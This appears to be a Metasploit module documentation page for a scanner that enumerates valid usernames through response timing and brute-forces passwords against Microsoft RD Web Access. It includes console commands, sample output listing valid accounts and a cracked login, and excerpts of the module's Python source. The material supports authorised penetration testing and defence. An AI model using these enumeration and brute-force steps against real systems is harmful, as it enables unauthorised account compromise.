Microsoft RDP Web Client Login Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/rdp_web_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft RDP Web Client Login Enumeration
Module: auxiliary/scanner/http/rdp_web_login
Source code: modules/auxiliary/scanner/http/rdp_web_login.py
Disclosure date: 2020-12-23
Last modification time: 2021-09-29 15:49:09 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 443
List of CVEs: -

Enumerate valid usernames and passwords against a Microsoft RDP Web Client by attempting authentication and performing a timing based check against the provided username.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/rdp_web_login
msf auxiliary(rdp_web_login) > show options
    ... show and set options ...
msf auxiliary(rdp_web_login) > set RHOSTS ip-range
msf auxiliary(rdp_web_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(rdp_web_login) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(rdp_web_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(rdp_web_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • username: The username to verify or path to a file of usernames

Knowledge Base


Vulnerable Application


The Microsoft RD Web login is vulnerable to the same type of authentication username enumeration vulnerability that is present for OWA. By analyzing the time it takes for a failed response, the RDWeb interface can be used to quickly test the validity of a set of usernames. The module additionally supports testing username password combinations. Additionally, this module can attempt to discover the target NTLM domain if you don't already know it. This module also reports credentials to the credentials database when they are discovered.

Verification Steps


  • [ ] Start msfconsole
  • [ ] use auxiliary/scanner/http/rdp_web_login
  • [ ] set rhost TARGET_IP
  • [ ] set username USER_OR_FILE
  • [ ] set password PASSWORD_OR_FILE (Only if you want to test the password brute forcing)
  • [ ] set domain DOMAIN (Only if you don't want to test the domain discovery feature)
  • [ ] Check output for validity of your test username(s), password(s), and domain

Options


domain

The target domain to use for the username checks. If not provided, enum_domain needs to be set to true so it can be discovered.

enum_domain

Enumerate the domain by using an NTLM challenge/response and parsing the AD Domain out.

username

Either a specific username to verify or a file with one username per line to verify.

password

Either a specific password to attempt or a file with one password per line to verify. If not provided, uses the same None password for all requests

verify_service

Whether or not to verify that RDWeb is installed prior to scanning. Defaults to true.

user_agent

An alternate User Agent string to use in HTTP requests. Defaults to Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0.

Scenarios


If an RDWeb login page is discovered, you can use this module to gather valid usernames for a brute force attack.

Specific target output replaced with Ys so as not to disclose information
msf6 > use auxiliary/scanner/http/rdp_web_login msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt username => /home/kali/users.txt msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY RHOSTS => YY.YYY.YYY.YY msf6 auxiliary(scanner/http/rdp_web_login) > run

[] Running for YY.YYY.YYY.YY... [+] Found Domain: YYYYYYYYYYYY [-] Username YYYYYYYYYYYY\wrong is invalid! No response received in 1250 milliseconds [+] Username YYYYYYYYYYYY\YYYYY is valid! Response received in 628.877 milliseconds [-] Username YYYYYYYYYYYY\k0pak4 is invalid! No response received in 1250 milliseconds [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

If an RDWeb login page is discovered, you can use this module to perform a brute force attack.
msf6 > use auxiliary/scanner/http/rdp_web_login msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128 RHOSTS => 192.168.148.128 msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt username => /home/kali/users.txt msf6 auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt password => /home/kali/passwords.txt msf6 auxiliary(scanner/http/rdp_web_login) > set timeout 500 timeout => 500 msf6 auxiliary(scanner/http/rdp_web_login) > run

[] Running for YY.YYY.YYY.YY... [+] Found Domain: YYYY [-] Login YYYY\wrong:password is invalid! No response received in 500 milliseconds [-] Login YYYY\wrong:Password1! is invalid! No response received in 500 milliseconds [+] Password password is invalid but YYYY\k0pak4 is valid! Response received in 155.648 milliseconds [+] Login YYYY\k0pak4:Password1! is valid! [+] Password password is invalid but YYYY\Administrator is valid! Response received in 77.852 milliseconds [+] Password Password1! is invalid but YYYY\Administrator is valid! Response received in 76.029 milliseconds [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Version and OS


Tested against Microsoft IIS 10.0 and RDWeb on Windows Server 2019 and Windows Server 2016

References


  • https://raxis.com/blog/rd-web-access-vulnerability

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/rdp_web_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/rdp_web_login

msf6 auxiliary(scanner/http/rdp_web_login) > show info

       Name: Microsoft RDP Web Client Login Enumeration
     Module: auxiliary/scanner/http/rdp_web_login
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-12-23

Provided by:
  Matthew Dunn

Check supported:
  No

Basic options:
  Name            Current Setting                                                       Required  Description
  ----            ---------------                                                       --------  -----------
  RHOSTS                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  THREADS         1                                                                     yes       The number of concurrent threads (max one per host)
  domain                                                                                no        The target AD domain
  enum_domain     true                                                                  no        Automatically enumerate AD domain using NTLM
  password                                                                              no        The password to try or path to a file of passwords
  rport           443                                                                   yes       Port to target
  targeturi       /RDWeb/Pages/en-US/login.aspx                                         yes       The base path to the RDP Web Client install
  timeout         1250                                                                  yes       Response timeout in milliseconds to consider username invalid
  user_agent      Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  no        User Agent string to use, defaults to Firefox
  username                                                                              yes       The username to verify or path to a file of usernames
  verify_service  true                                                                  no        Verify the service is up before performing login scan

Description:
  Enumerate valid usernames and passwords against a Microsoft RDP Web 
  Client by attempting authentication and performing a timing based 
  check against the provided username.

References:
  https://raxis.com/blog/rd-web-access-vulnerability

Module Options


This is a complete list of options available in the scanner/http/rdp_web_login auxiliary module:

msf6 auxiliary(scanner/http/rdp_web_login) > show options

Module options (auxiliary/scanner/http/rdp_web_login):

   Name            Current Setting                                                       Required  Description
   ----            ---------------                                                       --------  -----------
   RHOSTS                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS         1                                                                     yes       The number of concurrent threads (max one per host)
   domain                                                                                no        The target AD domain
   enum_domain     true                                                                  no        Automatically enumerate AD domain using NTLM
   password                                                                              no        The password to try or path to a file of passwords
   rport           443                                                                   yes       Port to target
   targeturi       /RDWeb/Pages/en-US/login.aspx                                         yes       The base path to the RDP Web Client install
   timeout         1250                                                                  yes       Response timeout in milliseconds to consider username invalid
   user_agent      Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  no        User Agent string to use, defaults to Firefox
   username                                                                              yes       The username to verify or path to a file of usernames
   verify_service  true                                                                  no        Verify the service is up before performing login scan

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/rdp_web_login auxiliary module:

msf6 auxiliary(scanner/http/rdp_web_login) > show advanced

Module advanced options (auxiliary/scanner/http/rdp_web_login):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/rdp_web_login module can do:

msf6 auxiliary(scanner/http/rdp_web_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/rdp_web_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/rdp_web_login) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

error


Here is a relevant code snippet related to the "error" error message:

73:	                               verify=False, allow_redirects=False)
74:	        return request.status_code == 200 and 'RDWeb' in request.text
75:	    except requests.exceptions.Timeout:
76:	        return False
77:	    except Exception as exc:
78:	        module.log(str(exc), level='error')
79:	        return False
80:	
81:	
82:	def get_ad_domain(rhost, rport, user_agent):
83:	    """Retrieve the NTLM domain out of a specific challenge/response"""

Failed to find Domain


Here is a relevant code snippet related to the "Failed to find Domain" error message:

97:	            domain = base64.b64decode(bytes(domain_hash,
98:	                                            'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
99:	            domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
100:	            module.log('Found Domain: {}'.format(domain), level='good')
101:	            return domain
102:	    module.log('Failed to find Domain', level='error')
103:	    return None
104:	
105:	
106:	def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
107:	    """Check a single login against the RDWeb Client

error


Here is a relevant code snippet related to the "error" error message:

130:	            module.report_valid_username(username, **report_data)
131:	        else:
132:	            module.log('Received unknown response with status code: {}'.format(request.status_code))
133:	    except requests.exceptions.Timeout:
134:	        module.log('Login {}\\{}:{} is invalid! No response received in {} milliseconds'.format(domain, username, password, timeout),
135:	                   level='error')
136:	    except requests.exceptions.RequestException as exc:
137:	        module.log('{}'.format(exc), level='error')
138:	        return
139:	
140:	

error


Here is a relevant code snippet related to the "error" error message:

132:	            module.log('Received unknown response with status code: {}'.format(request.status_code))
133:	    except requests.exceptions.Timeout:
134:	        module.log('Login {}\\{}:{} is invalid! No response received in {} milliseconds'.format(domain, username, password, timeout),
135:	                   level='error')
136:	    except requests.exceptions.RequestException as exc:
137:	        module.log('{}'.format(exc), level='error')
138:	        return
139:	
140:	
141:	def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
142:	    """Check each username and password combination"""

Module dependencies are missing, cannot continue


Here is a relevant code snippet related to the "Module dependencies are missing, cannot continue" error message:

146:	
147:	def run(args):
148:	    """Run the module, gathering the domain if desired and verifying usernames and passwords"""
149:	    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
150:	    if DEPENDENCIES_MISSING:
151:	        module.log('Module dependencies are missing, cannot continue', level='error')
152:	        return
153:	
154:	    user_agent = args['user_agent']
155:	    # Verify the service is up if requested
156:	    if args['verify_service']:

error


Here is a relevant code snippet related to the "error" error message:

158:	                                          args['targeturi'], int(args['timeout']), user_agent)
159:	        if service_verified:
160:	            module.log('Service is up, beginning scan...', level='good')
161:	        else:
162:	            module.log('Service appears to be down, no response in {} milliseconds'.format(args["timeout"]),
163:	                       level='error')
164:	            return
165:	
166:	    # Gather AD Domain either from args or enumeration
167:	    domain = args['domain'] if 'domain' in args else None
168:	    if not domain and args['enum_domain']:

error


Here is a relevant code snippet related to the "error" error message:

169:	        domain = get_ad_domain(args['rhost'], args['rport'], user_agent)
170:	
171:	    # Verify we have a proper domain
172:	    if not domain:
173:	        module.log('Either domain or enum_domain must be set to continue, aborting...',
174:	                   level='error')
175:	        return
176:	
177:	    # Gather usernames and passwords for enumeration
178:	    if os.path.isfile(args['username']):
179:	        with open(args['username'], 'r') as file_contents:

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Matthew Dunn

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.